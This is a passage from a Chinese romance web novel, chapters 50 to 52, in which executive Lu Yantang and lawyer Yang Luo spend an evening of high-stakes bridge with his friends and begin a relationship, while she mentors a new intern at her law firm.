陆砚堂默不作声,静静看着陆军山离去的背影,有些疲惫,比他印象中也多了一份苍老。
他还是吃完了碗里的饭才离开,心中有些烦躁。
走到院子里,远远瞧见陆繁君倚在自己的车边,一旁的老七颇是无奈的守着。
陆砚堂单手插兜,慢悠悠的走到陆繁君眼前。
“还没走吗?”
陆繁君白了他一眼:“你想干什么?跟我耍什么心眼子呢?”
她一向对谁都没个好脸色,陆砚堂倒也是习惯了。
陆砚堂笑了笑:“我知道你喜欢叶云冬的画,所以提前帮你拍了下来,省得被别人给抢了,这不好吗?”
陆繁君:“贼喊捉贼的本事真是被你玩透了,别绕圈子了,说吧,你想干什么?”
陆砚堂:“我想让阿姐帮我个小忙,然后我会把画亲自送到你那儿。”
陆繁君警惕的打量着他。
陆家内斗这么多年,陆砚堂的手段她也是见过的。她手里虽还有不少股份和资源,但顶多算个闲散王爷,早就不管集团的事儿了。只剩下陆承熙还愿意当个跳梁小丑,时不时出来刷一把存在感。陆繁君实在想不着陆砚堂能有什么求到她身上的。
“放心,绝不让你为难,举手之劳。我会带着画再去拜访阿姐的。”
陆繁君摸不清楚他葫芦里卖的什么药,但若能拿到叶云冬的画,其他的她也不在乎。
“你最好麻利点。”
说完陆繁君便扬长而去。
陆砚堂静站了片刻,松了松领带,争权斗势的公司,鸡飞狗跳的家宴,一切都让他烦躁不堪。
上了车,老七透过后视镜悄悄观察着陆砚堂的神色。
“陆总,画是不是在杨小姐那儿。”
“嗯。”
“今晚要去吗?”
提起杨珞,陆砚堂的思绪又飞了很远。他回来还没跟杨珞联系,回家一趟又搞的身心俱破,今晚怕是没精力再去找她了。
他又想起陆军山临走时问他的话,有些摸不透陆军山的想法。
“不去了,回家吧。”
老七:“肖总他们组了个局,说一起喝点。您电话打不通,就打到我这儿了,您看去不?”
陆砚堂听罢拿起手机看了眼,果然一堆未接电话和微信。
肖申雨是他上学时候的朋友,一个家底雄厚的富三代,为人吊儿郎当的,没什么雄心大志,守着家里的公司度日。但两人毕竟是学生时代认识的,陆砚堂跟他呆在一块,少了些算计,也算开心。
“走吧。”
肖申雨定的地方是个会所,他向来喜欢这种美女萦绕,纸醉金迷的场合。陆砚堂除应酬外,平日也就跟肖申雨会来这种地方。
陆砚堂推门进来,就瞧见肖申雨在沙发上和陪酒的小姐逗笑,不知说了什么,让小姑娘笑的花枝乱颤的。
来人还有两人的另外一个同学张悠然,以及肖申雨的两三玩搭子。陆砚堂倒也都见过。
肖申然瞧见陆砚堂进来,揶揄道:“下了班还是这幅西装革履的死样子,无趣。”
陆砚堂脱了西装外套递给老七:“刚从老宅过来。”
一位公主上前凑到陆砚堂身边,刚要递酒,陆砚堂礼貌的冲她摆了摆手,婉拒了。
“老宅还有什么不清净的,能惹得你头疼?”
肖申然说着给陆砚堂递了支烟,陆砚堂接过,往肺里吸进一口。
“有清净的时候吗?”
陆承熙、陆繁君,再加上陆军山,可从来都没消停过。
肖申然笑了笑:“陆承熙还不死心呢?六年前就一败涂地,到今天陆家还有他一席之地,也算你仁慈了。”
陆砚堂弹了下烟灰:“人嘛,总是想着东山再起。”
肖申然:“人呐,得有自知之明。”
陆砚堂沉默片刻,道:“他有野心也正常,手里确实握着些东西,不能不当回事儿。哪天真狗急跳墙起来,也够我喝一壶的。”
肖申然笑了笑:“你还能等到他狗急跳墙?怕是心里早就琢磨着怎么把他碾死,谁吃亏都轮不着你吃亏。况且你们家不还是有陆繁君吗?她跟陆承熙一向不对付,把她拉到你的阵营,万事大吉。”
陆砚堂勾唇:“她跟陆承熙不对付,难不成跟我对付?陆家就没她顺眼的人。”
肖申然吐出最后一云烟,眯着眼想了想陆家这位奇女子,最后无奈道:“也是,陆大小姐早就脱离你们这种争权夺势的低级趣味了,人家潇洒多了。”
陆砚堂谈笑间喝了几杯酒,紧绷的身体逐渐放松下来。
旁边一位陪酒小姐一直偷偷打量着陆砚堂,她并不知道陆砚堂的身份,但冷峻矜贵的样貌还是吸引了她。
瞧见陆砚堂的神情缓和了几分,她便找准时机凑了过去。
陆砚堂何其敏锐,没等姑娘凑到身边他便察觉到了来意。不动声色的用手盖住自己的酒杯,无声的拒绝了。自始至终甚至没有看那姑娘一眼。
姑娘在离陆砚堂两步的位置停了下来,端着杯酒,进退两难,些许尴尬。
肖申然目光流转,越过陆砚堂朝姑娘招了招手:“给我啊。”
有人递了台阶,自然要赶紧下。小姑娘顺势坐到肖申然旁边,将酒递到嘴边。
肖申然:“你这小丫头,今晚可是我结账,怎么不知道先给我递酒,不想做买卖了?”
他语气带着几分宠溺,惹得小姑娘靠近他怀里撒娇。
“怎么会呢。”
陆砚堂对这一幕并不理会,判若旁人。
肖申然:“别想着给他递了,人家可是有主儿的人。”
话是对小姐说的,却是在调侃陆砚堂。
他在港城一掷千金为红颜的美谈,早早就传回了西京。
陆砚堂没有接话,可肖申然却把杨珞摘到了他的思绪里。
他今晚杂事缠身,也没有心情找她。可猛然想起来,倒是有些惦记。
陆砚堂翻出手机,点开杨珞的微信,没有新的消息,聊天记录还停留在一天前,她分享给自己一张鱼缸的照片。
已经将近十点了,陆砚堂思索片刻,还是没有再发消息。
在陆砚堂纠结的几秒钟里,杨珞刚刚进家门。
今天是她正式上班的第一天,刚到律所也没太多事,赵主任只简单跟大家介绍了一下就出去了,杨珞整整一上午都在交际,中午和律所的新同事吃了饭。<
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p>下午赵主任交代的实习生来报道了,是个大四的小伙子,叫高于名,个子高高的,一副经常健身的样子。霸气有余却斯文不足。
高于名算不上彬彬有礼,行事作风倒有几分个性。依照杨珞的经验,应当不是正规途径进来的实习生。
下午找到张波一问,果然,是赵斌主任的外甥。
给老板的亲戚当实习老师,真是压力山大。
杨珞只是客气的跟他讲了讲实习律师需要做的工作,也没有过多的要求。
男孩还算听话,在杨珞对面的桌子上坐了下来。
越临近下午,杨珞心里越是静不下来。
她知道今天是陆砚堂回来的日子。
她不知道自己在烦躁什么,或是在期待着什么。
手头有些事情做还能分散注意力,到下班的时候,手机屏幕干干净净,她心底开始空落落的。
这几天唐亭不在家,她也不想回了。
张波手头没干完的工作她主动要了过来,呆在人多的地方反而不会钻牛角尖。
高于名看着墙上的钟表,掐点收拾好了东西。
“杨老师,不下班吗?”
杨珞从资料中抬起头:“你先回吧,我加会儿班。”
高于名笑道:“这么卷?”
杨珞:“早点回吧,以后你也得卷。”
高于名耸了耸肩离开。
杨珞在不知不觉中工作到了九点。
她知道陆砚堂不会再联系自己了。
收拾完东西,坐上最后一班地铁回家。
城市的夜景别有一番寂寞的味道。
她觉得自己太疲惫了。但直到踏进家门的那一刻,杨珞才恍然大悟般明白了心底的期待。
陆砚堂像是个极有耐心的猎手,在周边布满了温柔的陷阱。
她一步步陷进去,待到明白时已然难以自拔。
杨珞没有开灯,坐在地板上看着玄关处一条条色彩鲜艳的鱼,到现在她仍不知道它们的名字。
寂静的房间里只剩下鱼缸的声音。她静静感受着心底蔓延的思念。
她知道自己和陆砚堂之间有很多不纯粹的时候,但此时此刻,她不得不承认有些东西是真的。
大脑可以欺骗自己,但身体不会,情绪不会。
杨珞在房间里打量着,最后目光锁定在陆砚堂的两幅画上。
再蹩脚的借口,好歹也算一个借口吧。
杨珞就这么安慰着自己,拨通了陆砚堂的电话。
陆砚堂看到来电显示时有些意外,第一反应是从沙发上起身。
包厢里虽不算糜乱,但也不是正经地方,时不时传出几声娇俏的笑声。
陆砚堂左右环顾,径直走向了卫生间里。
肖申然从美女耳畔抬头,饶有兴致的看着陆砚堂的背影。
电话接通,传来杨珞的声音。
“在忙吗?”
陆砚堂:“没有,今天回家一趟,这会儿跟朋友在外面。”
他确认了里面是安静的,这才稍稍放心下来。
无意间抬头,看到了镜中的自己,陆砚堂愣住了。
陆砚堂看到的仿佛不是自己。
镜中人的模样如此陌生,像是一个做了亏心事,被女朋友抓包,小心翼翼掩饰的平常男子。
他为自己身上无意沾染的烟火气而感到意外,顷刻间恍了神。
54. 第50章
久久没有声音
杨珞:“喂?你在听吗?”
陆砚堂:“我在。你还没睡吗?”
杨珞:“才不到十点,我刚从公司回来。”
陆砚堂:“加班这么晚?”
杨珞:“换了个新律所,总要熟悉熟悉。”
陆砚堂知道她的动向,却没有说破。
“新地方感觉怎么样?”
“还不错,麻雀虽小,五脏俱全。今天还帮我们主任带了个实习生,挺有个性一小孩儿。”
“小孩儿?多大了。”
“本科生,也就二十一二吧。”
陆砚堂笑道:“你才多大,就管人家叫小孩儿?”
杨珞想了想,自己确实没比人家大多少岁,却道:“反正比他大。”
陆砚堂的笑声更爽朗了,而后却都没有再说话。
短暂的沉默,两人都没有挑起新的话题,却也都不愿结束。
杨珞先打破的僵局。
“对了,你的画。”
陆砚堂:“嗯?”
杨珞:“你的画还在我这儿,着急用吗?要不要给你送过去。”
陆砚堂唇角微微扬起,她知道他不着急,他也明白她的试探。
两人颇有些心照不宣的默契。
陆砚堂:“没睡的话,那我去找你拿?”
杨珞:“你不是跟朋友在一起吗,中途出来不好吧。我给你送也行。”
陆砚堂:“这样吧,我让老七去接你。”
老七正在一旁和美女聊天,陆砚堂出来后招手将他叫过来。
“喝酒了吗?”
“没喝,我最近戒酒呢。”
陆砚堂从不听他的鬼话,继续吩咐道:“去接杨珞,到北湖的茶室吧。”
老七眼睛一转:“好嘞。”
杨珞要来,肯定不能在这种地方。陆砚堂拿上自己的外套,肖申然端着酒杯晃过来,问:“干嘛呢?”
陆砚堂:“走了,约了人。”
肖申然笑道:“这个点了,谁还能约的动你啊?”
明知故问的语气,陆砚堂没搭理,转身要走,肖申然抓住他的胳膊:“别啊,可是我先约的你,这临时跑了太不地道了吧。把小嫂子带过来呗,让我们也一睹芳容。”
陆砚堂拨开他的手:“别闹。”
肖申然竟耍起了无赖:“怎么着,你还想金屋藏娇一辈子啊?”
旁边的人也都跟着起哄起来。
一群人深夜聚在这里本就是排遣寂寞,找点乐子,陆砚堂的八卦,谁都想来凑个热闹。
以往的陆砚堂从不接这种茬,他觉得无聊,更不愿让自己的私事成为旁人的谈资。可如今自己的风流韵事传遍了西京,人人都要来揶揄他两句。
真像陆军山说的,到底是冲动了。
藏也藏不住,不藏也罢。
若真是冲动,不如冲动到底。
老七驱车去接杨珞,会所的几人转去了北湖茶室。
陆砚堂的画很大,杨珞双手都抱不住,只好放在旁边的花坛上等待。
包装纸上写了画的名字和作画之人。
画家名叫叶云冬,杨珞对艺术一窍不通,自然不认识。名字简单隽秀,她也分辨不出男女。
奇怪的是这两幅画都出自叶云冬之手。直觉告诉杨珞,陆砚堂买的并非画作本身,而是这个画家。
沉思之际,老七的车已经停在眼前了。
老七下车大步走来:“杨小姐,您这都等多久了?”
老七不似程进那般稳重,言语中总带着点自来熟的调调。
杨珞也不怎么拘谨:“等得久了你会挨骂吗?”
老七接过画,歪嘴笑道:“那不会,您今晚心情这么好,肯定会替我求情的吧?”
杨珞笑了笑,没再继续跟他斗嘴。
老七往后备箱放画的功夫,杨珞上了副驾驶。老七从后面看了一眼,默不作声走向驾驶座。
“我们去哪儿?”
“北湖茶室。”
“这么晚还喝茶?”
老七不敢告诉杨珞他们方才的行径,笑道:“不止能喝茶。”
杨珞没有追问,他知道陆砚堂的世界远比她想想的要奢华广阔,喝茶的含义或许在她这儿才只是喝茶罢了。
路程走了一半杨珞便已经不熟悉了,她方向感本身就不好,出门全靠导航。到了北湖附近全是她没走过的路。
北湖本就是公家的地方,附近少有民用建筑,一般人更不会大半夜往这里跑。车子穿过一片松树林,远远看到湖面在月光的照耀下波光粼粼。这条林间小道走了许久,终于在前方看到一些矮平的房屋。
杨珞刚以为要到了,车子便从那些房屋门前驶过了。
她好奇的朝窗外看过去,暗夜里迷雾般的景色在她眼前呼啸而过。
老七侧眸偷偷打量着杨珞,有些孩子气的可爱。
前方一片灯光出现,杨珞远远望去像是面积不菲的别墅。
车子停在门前,两个保安确认车牌后拉开了大门。
茶室非茶室,不过是有钱人低调的把戏。
老七领着她往前走,跨过一条溪流,进了左侧的厅堂。
“这是陆先生在北湖的别墅,不怎么来住,现在倒成了娱乐室,平常会在这儿约朋友喝喝茶什么。”
杨珞:“北湖还能建自住宅?”
老七:“零几年的时候批下来的一些地皮,政府慢慢往回收了,最后也就留了这个小地方。”
穿过一条廊亭,两人伫立在一扇楠木门前,老七叩门。
“进来吧。”
肖申然的声音带着几分轻佻,杨珞不自觉看了眼老七。
老七道:“里面是陆先生的几位朋友,随意就好。”
杨珞进了门,内里的布置低调雅致,焚香带着丝丝古韵。
右侧的牌桌上四个人都停下了动作,齐齐地朝杨珞看过来。
霎时地安静让杨珞有些紧张,她不自觉的向陆砚堂投出求助的目光。
陆砚堂起身朝她走过来,站到她身侧,不远不近的距离,介绍道:“这是杨珞,这是我的几个朋友,张悠然、何云鹏,那个是肖申然。”
陆砚堂保持的距离让在场的人心里都有了数,谁也没造次。
旁人都是客气的朝杨珞点了点头,只有肖申然一副浪荡样子,朝人抛了个媚眼。
他面儿上不正经,实则细细的打量了杨珞。
她穿着灰色丝绸质地的连衣裙,端庄温婉。黑色的长发随意散在肩上,分辨不出是否化了妆,含羞带笑的模样却实在是可人。
看得出有些紧张,却没有不知所措的畏惧。
肖申然在谈笑间确认了他们的关系。
眼前的女人一看就是陆砚堂会喜欢的模样。
他对名利场上的女人向来不感兴趣,反倒是这种
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乍看平平无奇,耐人品味的才最合他的心思。
美丽又不张扬,温柔又些许个性。
一副很会爱人的样子。
肖申然点了支烟,笑着问:“会打牌吗?”
杨珞扫了一眼牌桌,是扑克。扑克她倒是会一些,但看眼前的架势显然不是国内的玩法。
杨珞笑了笑:“我不会。”
肖申然指了指陆砚堂:“不会好啊,刚才我那点钱全进这小子口袋了,你来,再让我赢回来。”
杨珞愣了下,道:“可是我没钱啊。”
跟着群财神爷打牌得输多少钱。
众人一顿,哄堂大笑。
杨珞回头,只见陆砚堂脸上也挂着浅浅的笑意,揽着她的肩膀将人带到了座位上。
肖申然:“你来替他打牌,哪儿能输自己的钱,你还得管他要劳务费呢。”
杨珞看了看眼前的牌和筹码,回头看向陆砚堂。
陆砚堂不知何时已经坐在她身后侧。
“不碍事儿,玩两把。”
杨珞只好点了点头,问:“你们玩的什么?”
张悠然道:“桥牌,肖申然就爱玩这个。”
杨珞笑而不语,她在港大上学时有几个国外的同学,成日也是打桥牌。那时候还拉着她一起,但杨珞对打牌实在不感兴趣,打了几次也就作罢,那时候学的如今早就忘的一干二净了。
肖申然教了她遍规则,第一把还是带着她玩儿,边玩儿边教。最后竟赢了。
肖申然:“呦。这聪明劲儿还怎么叫我翻盘呢?”
杨珞被他逗笑,这人也够贫嘴的。
正儿八经打的时候,肖申然可一点都没手下留情。第一把果然是让她的,杨珞牌品不差,可连着打了几把,输的实在惨,陆砚堂的筹码眼看着一点点减少,杨珞的神色不免有些紧张。
何云鹏赢的没了正形,脱口而出:“还是嫂子好啊,知道给我们散财。”
话音一落,他便发觉自己说错了话,张悠然也是一慌,急忙朝陆砚堂看过去,只有肖申然聚精会神的算着手里的牌,充耳不闻。
流言蜚语传的再旺,没有陆砚堂亲口承认,他身边的位置都不能随意打趣。肖申然能说是因为两人关系匪浅,可这话从别人嘴里说出来就算不恭不敬了。
杨珞低着头,作看牌的样子,可空气中凝结出的尴尬依然无法忽视。她知道在这群人眼里,自己和陆砚堂之间的差距不是一星半点,也不是所有人都认为她有资格名正言顺的坐在这儿。
杨珞面不改色的拿起一张筹码牌问:“你们玩的一张多少钱?”
肖申然:“十万也好,一百万也好,他都输得起,用不着替他省钱。”
杨珞一边惊讶于筹码之大,一边转头去看陆砚堂,在对上他的眼睛时怔住了神。
他既没看牌,也没看别人,只是眼含笑意盯着自己。
他好像根本不在意如流水般输掉的钱,只关心她打牌时有趣的模样。
他也没有注意方才的小状况,只对她说:“输就输,钱管够。”
陆砚堂的胳膊轻轻搭在她的靠椅上,杨珞坐得笔直,两人互不相触,他却像保护神一般笼罩在她周身。
陆砚堂满心满眼的笑意让旁人都心知肚明,何云鹏悬着的心落下来,牌局上重新热络起来。
杨珞抓着牌,心思却全然不在。
他宠起人来,真能把人的心捧到云端里去。
55. 第51章
那晚杨珞真把桌面上的筹码输了个精光,肖申然成了最大的赢家。后半场使劲儿和杨珞聊天,从家在哪儿,上哪个大学,做什么工作全问了一遍。
杨珞觉得他不像是陆砚堂的朋友,倒像个刨根问底的爹。
散场时肖申然还非要加杨珞的微信,美其名曰公司打官司了能咨询她。
杨珞哭笑不得。
上了车,老七问:“咱们回哪儿?”
陆砚堂没说话,看向杨珞。
两人爱意朦胧,却还没捅破那层窗户纸,现下只有杨珞能决定到底要去哪儿。
“那送我回去吧。”
不出陆砚堂所料,小姑娘终究是害羞的。
凌晨的高架桥上尽显空荡寂寥,但两侧的霓虹灯仍不掩城市的繁荣。
杨珞忍不住问道:“所以今晚的筹码到底多少钱一张?”
陆砚堂:“怎么?要还我钱啊?”
杨珞:“那怎么行,你让我替你上手的,输赢自负。”
陆砚堂笑了笑:“不多,打着玩的。”
杨珞:“不多是多少?”
陆砚堂:“一张五万。”
杨珞这些年见多识广,倒也不觉得惊讶了。只不过仍有些唏嘘,富人一夜的玩乐,足够平头百姓辛劳一辈子。
而她自己不过也是平头百姓中的一个罢了,见过金碧辉煌,却也只是有幸见过。
不知怎么的,即便无法自拔的踏入这条爱河,但杨珞仍不停的警告自己,不要妄想真的能成为这个阶层的人。
陆砚堂看不懂她眼中一闪而过的悲悯,只当是什么小女人心思。
车子开到楼下,陆砚堂朝楼上看了眼,问:“灯都关着,没人吗?”
杨珞:“唐亭出差了,这几天就我一个人在家。”
老七熄了火,转头:“杨小姐,我烟瘾犯了,我得下去买包烟去,您和陆先生等我会儿呗。”
还没等杨珞有反应,老七就开门下车了。
杨珞疑惑:“平常也不怎么见他抽烟,烟瘾还挺大的。”
陆砚堂笑而不语。
杨珞瞧见他的表情,这才反应过来。
杨珞恍然大悟的表情有些呆呆的,惹得陆砚堂忍不住逗她:“就在这儿等?不请我上去喝杯茶?”
杨珞又恼又羞:“我看你们俩才是心有灵犀。”
陆砚堂抬手捏捏她的脸蛋:“我可冤枉,要是不给茶喝,我走就是了。”
陆砚堂说完真的开门下车了:“我把你送上去就走。”
这次杨珞也忍不住笑了。
秋天的凌晨,凉风阵阵,偶有几片落叶缓缓着陆。陆砚堂站在车边,长身微微弯下,脸上带着平日少有的笑意,一手把着车门,一边做了个请的手势。
很多年后,杨珞还是会梦到这一晚。
暧昧朦胧的情意,在月色下如此震耳欲聋。
陆砚堂跟着杨珞回了家,开了灯,一眼就看到了醒目的鱼缸。他又在玄关处打量了一番,整体的设计还是很成格局的,但有些小地方还没来得及布置。
杨珞在鞋柜了翻了半天,最后说:“你穿鞋进来吧,我家没有男士拖鞋。”
陆砚堂又往里走了走,这房子有200多平,在西京寸土寸金的地方已经很难得了,杨珞更是干上一辈子也买不下来。但陆砚堂却走出了一副没地儿下脚的样子,许是气质使然,杨珞觉得他像是来平民窟视察一样。
“陆大总裁,还可以吧?”
陆砚堂听着她的调侃,也收了收自己睥睨方物的模样,笑道:“是唐亭的房子?”
“当然了,我可买不起。”
“那下次我替你打牌,给你赢一套回来,怎么样?”
“可别,万一输了,我这辈子岂不是都要卖身给你了?”
“赢了算你的,输了算我的。”
“算了吧,你把我喂的太饱,以后我看见小钱都不放在眼里了,还怎么上班?”
陆砚堂也不再打趣,踱步到鱼缸前。“唐门二小姐,倒也不像我想象的那么艰难。”
“瘦死的骆驼比马大,唐亭在唐家再难,这点钱对唐继平来说也是小菜一碟。”
“那倒是。”
杨珞饶有兴趣的看着他,唐家从唐亭的爷爷辈起家,做的事上不了台面的江湖生意,早些年被人成为唐门,后来慢慢洗白,这称呼才消失匿迹。
“唐门,你倒是很清楚唐家的事。”
陆砚堂:“知彼知己,百战不殆。”
杨珞:“看来你也是道上的人喽?”
陆砚堂笑而不答,反问道:“你一个平头老百姓,怎么净招惹些江湖客?”
杨珞也不答反问:“江湖客?也包括你吗?”
陆砚堂:“我没有那么无赖,只算半个吧。”
眼前的男人卸下威严的躯壳时,还多了几分泼皮无赖的气质。
陆砚堂:“这些鱼你认识吗?”
杨珞:“不认识,我以前对鱼不感兴趣。”
陆砚堂:“那现在呢?”
杨珞:“现在,要看心情。送鱼的人让我开心时,我就喜欢它们。如果让我不开心的话,我就不喜欢了。”
陆砚堂转过身来,低头看着杨珞:“那此时此刻,你喜不喜欢这些鱼?”
杨珞没想到他问的这样直白,黑亮的眼珠转了一圈,略带些傲娇的说:“现在嘛,还可以吧。”
陆砚堂看向她的目光愈发幽深,看着她娇俏的模样,看着她一点点为自己动情。眼前的杨珞再不是那个充满戒备,满心伤痕的女人。她的一举一动都在告诉他,她已然打开心扉。
在沉默的注视下,杨珞也忍不住朝他看过去。
鱼缸的声音在黑夜里如此明显,却又衬的这夜如此寂静。
爱意呼之欲出,却在边缘处漏出了内心的怯懦。
杨珞紧张的别开目光,问:“还喝茶吗?老七会不会等太久。”
陆砚堂:“他不会回来了,等你赶我的时候我再走。”
他又逗她,杨珞却不再计较,转身去找茶叶。
唐亭倒是买过不少茶叶,但平日杨珞不怎么喝。
杨珞在冰箱里找到几盒,拿给陆砚堂看:“你想喝哪个?”
陆砚堂很少食凉,选了小青柑。
泡茶需要很多工序,但在杨珞这里只有两道。
烧水,泡上,就可以了。
她很少喜欢这些繁文缛节的东西,等烧水的空隙,陆砚堂给她讲起了鱼缸中的鱼,一条条,一种种,都讲的明明白白。
“你为什么对鱼这么了解?”
陆砚堂沉默了片刻,说:“小时候我妈妈很喜欢养鱼,后来我也喜欢了。”
杨珞对知道他复杂的家庭,爱屋及乌有时也是伤心事。她没有追问下去,盯着眼前的烧水壶看,气泡一点点升起,聚集。
陆砚堂感觉到她敏锐的分寸感,调转了话题:“你呢?平日也没见你有什么爱好,你喜欢什
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么?”
“我?我就是个凡夫俗子,没什么高雅的爱好。小时候喜欢吃喝玩乐,到处疯着玩儿,现在也差不多。上大学的时候喜欢去各种美食店,喜欢去旅游。后来遇到林纪泽,就再不想这些事儿了。只想着赚钱逃命。”
陆砚堂温柔的看着她:“那现在呢?不用再提心吊胆了,有没有想过要喜欢点什么?”
杨珞略微思索了一下,说:“刚回来的几天,我真的认真思考过这个问题。就像绝处逢生一样,先是喜悦,然后是茫然。不过后来我也想清楚了,先把自己的工作做好,该赚钱就赚钱,我有朋友,有家人,日子按部就班的总不会太差。能像以前吃喝玩乐也不错。”
其实她想的不止这些,她也想过以后结婚生子,可似乎这四个字总无法与陆砚堂联系在一起,自然也无法说给他听。
陆砚堂伸手将她脸颊的碎发别再耳后,微凉的指尖使她的脸更烫,连带着耳朵都微微红了起来。
“杨珞,我的一切不是放在你面前当摆设的。你想干什么都可以,想要什么也都可以。”
杨珞心跳微微停滞,却无法欣然接受这泼天富贵。
她略显僵硬的笑道:“陆总好气派啊。”
陆砚堂低了声音:“你觉得我在开玩笑吗?”
杨珞知道的,眼前的男人只要稍稍收敛,便又恢复了平日威严不可侵犯的模样。他的爱意总带着让人无法拒绝的力量。
茶壶发出了碰撞的声音。
杨珞急忙上前:“水开了。”
陆砚堂看着她匆忙跑开的背影,转身到了沙发处。
杨珞虽不懂茶道,但没吃过猪肉也见过猪跑,还是有模有样的捯饬了一会儿。
陆砚堂看着她手忙脚乱的样子,也不出声打乱。
待茶泡好,他端起品了一口。
果真不怎么样。
杨珞仰着问他:“好不好喝?”
陆砚堂:“你想听真话还是假话?”
话一出口,杨珞就知道他憋着坏。
“假话。”
“假话?一般般吧。”
“那真话呢?”
“真话就更不中听了。”
杨珞瞪了他一眼,自己端起茶杯尝了一口。
小青柑带着红茶的醇厚和橘皮的清香,她虽喝不出门道,却也觉得不难喝。
“你们这种人就是挑剔。”
陆砚堂瞧她嗔怒的样子,愈发觉得可爱。
“别的不说,茶道讲究以茶修身,静心,静神才能烹出好茶,你心思不在这儿,再好的茶都暴殄天物。”
杨珞被他戳破了心思,放下茶杯。
“我的心是不静,不像某些人,乱了别人的心思自己却气定神闲的,我反正是比不了。”
陆砚堂笑意渐浓,抬手一扯,将杨珞拽到自己腿上。
突如其来的亲昵如静谧夜空的闪电,毫无预兆的捅破了那层摇摇欲坠的窗户纸。
他附在她耳边,声音如梦如幻。
“你这茶味道不怎么样,倒是挺醉人,喝的我晕乎乎的,今晚怕是回不去了。”
杨珞缩在他怀里,欲言又止,可陆砚堂没给她拒绝的机会。
他将她拦腰抱起,惊的她揽住了他的脖子。
陆砚堂顺势吻下去,她轻颤的缩了下身子,一秒过后却不再闪躲。
这次和以往都不一样。
他的喜欢愈发光明磊落,而她的爱意也如新绽的花朵鲜艳。
56. 第52章
杨珞在一场跌宕起伏的春/梦中醒来。
真真假假,如梦如幻,起初几秒她竟分不清现实和梦境。
片刻后回了神才看清头顶那盏熟悉的吊灯。
是真也是假,与陆砚堂一夜的疯狂延续到了梦里,叫人回味无穷。
杨珞伸手摸了摸身旁,早已空无一人,叫了两声陆砚堂的名字,也没有回应。
她缓缓坐起来,明显觉得身子有些虚弱。
找来手机一看,才发现已经上午九点半了。
陆砚堂七点半的时候发来了一条微信。
“我先走了,上午还有个会,八点有人给你送早餐,要是醒的晚就在门外看看。”
杨珞揉了揉没睡醒的眼睛,心道这人真是精神饱满。
昨晚两人折腾到两三点,杨珞已然累的不行,陆砚堂离开的时候她一点知觉都没有。
门外果然放着一份早餐,足足三个大袋子,是西京一家知名的粤菜馆。
索性迟到了,杨珞也不着急去上班。律师的工作本就弹性很大,公检法到处跑,所以律所没有打卡制度,偶尔不去也无伤大雅。
杨珞将早餐放在微波炉里加热,又去冲了个热水澡。
擦头发时在镜中看到了自己腰间的一片红。
她停下了动作,转身看了看侧面和背面,都留有淡淡的痕迹。
和陆砚堂不是第一次,但昨晚他格外疯狂。
力气之大让她忍不住求饶,无论是手上,还是身下,都不肯放过她。
她能隐隐感觉到陆砚堂在她一声声哀求中愈发放纵。
不知是昨晚情绪使然,还是他真的有什么癖好。
吃早餐时,杨珞拍了张照片发给陆砚堂。
“好丰盛啊。”
眼巴巴地等了两分钟,也没见回复。
想到他在开会,也就没再管了。
倒是高于名给来了条消息。
“师傅,你今儿不来吗?”
不知谁教他的,管老师叫师傅,杨珞心道这些零零后小孩儿还怪有意思。
“来,一会儿去。”
“行呢,我一个人在这儿,谁都不认识,我都社恐了。”
“你还会社恐呢?”
“哈哈哈哈哈哈。”
杨珞赶到律所的时候已经十一点了,高于名正坐在椅子上发呆,瞧见杨珞进来冲她明媚一笑。
“你怎么赶着下班点来啊。”
“上午有事,中午加班。”
高于名往前凑了凑,使劲儿闻了几下,道:“骗人,你这明显刚洗完澡,肯定在家睡懒觉呢。”
啧,杨珞似笑非笑的看着他,这小孩儿有点意思。
“对,我就在家睡懒觉呢,你去告我吧。”
“别啊,我开玩笑呢。明天我能不能也睡个懒觉再来?”
杨珞笑了笑:“不能。”
“你这只许州官放火,不许百姓点灯啊。”
“对,你什么时候当了师傅,你再点灯。”
高于名泄气的撇了撇嘴,但小男孩儿也不记仇,没过一会儿就又找杨珞聊起天来了。
杨珞花了半个小时做了一份实习计划表,让高于名打印出来自己拿着。
“这个表上的内容都完成呢,我就给你盖实习章。”
高于名挑眉:“你不给我盖章,我舅舅也会给我盖的。”
“那我不管,你想拿到我的章,就得把该做的事情做完,该学会的学会。其他人愿不愿意给你盖章,那是其他人的事。”
杨珞的话成功刺激到了高于名,他沉默了两秒,拿着胶带把计划表贴到了桌子上。
“行,我肯定拿到你的章。先干哪个?”
杨珞从柜子里拿出一摞卷宗。
“先写答辩状吧。”
高于名干劲儿十足的接过来,还没看十分钟,决定先去吃个午饭。
杨珞早饭吃得晚,一点饿意没有。
十二点的时候陆砚堂终于回了微信。
“起挺早啊。”
言简意赅,时隔两小时,果然忙的不见人影。
杨珞回复:“不早了,上班都迟到了。”
不出意外,陆砚堂没有回复她。
好在杨珞对他的行事作风有预料,也没放在心上。
下午高于名忙活了半天,只写出了个开头,屁颠儿屁颠儿的跑来找杨珞请教。
杨珞找了十几份自己写过的答辩状发给他,又传道授业解惑一番。
一整个下午,两人各忙各的。
休息的间隙,杨珞点开微信,空空如也。她发呆的望向窗外,回过头来时发现高于名正饶有兴趣地打量她。
“写完了?”
“没呢,今天肯定写不完了,马上下班了。”
杨珞看了下表,确实。
“师傅,你下班干嘛去啊?”
杨珞想了想:“回家啊。”
“家里就你一人啊?”
“不然呢?”
“你没男朋友吗?”
这话把杨珞问住了,她算有吗?就算有,她也懒得跟高于名解释。
“管的还挺宽。”
“你有吧,今天上午来的时候我看你生机勃勃的,怎么这会儿又蔫儿了?吵架了吗?”
“你管的太宽了。”
高于名也不争辩,乖巧的闭了嘴。
杨珞上一秒还嫌人家管的宽,下一秒就八卦了起来。
“你有女朋友吗?”
高于名一脸傲娇:“有啊,没女朋友我这么着急下班干嘛。”
杨珞笑了笑:“着急去约会啊。”
“嗯呢,刚在一起,热恋期呢,一天不见就想的慌。”
不知怎么,杨珞的笑容里多了几分落寞。
“热恋期都这样吗?”
杨珞这话问的有些莫名其妙,像是在问高于名,更像是在问自己,又或者在问自己心里的那个人。
她并非不知道,大学时期自己也谈过校园恋爱,也经历过轰轰烈烈的热恋期,可如今却迷茫了起来。
高于名作思考状:“这也说不准,我跟我前女友谈的时候也没这么如胶似漆。看情况吧,恋爱嘛,每个人有每个人的谈法,谁跟谁的都不一样。”
高于名的话像是点醒了杨珞。
每个人有每个人的谈法,谁跟谁的都不一样。
陆砚堂那样的人,或许有他自己的节奏吧。
这么想着,杨珞也不再纠结,高高兴兴的下班了。
杨珞回到自己生活的状态,不过分关注陆砚堂的动向,也不愿意太在这种事情上纠结。毕竟她也算见过风浪,不再是学生时代的小姑娘。情情爱爱的事情也不足以影响理智了。
晚上和唐亭通了电话,她要三天后才能回来。
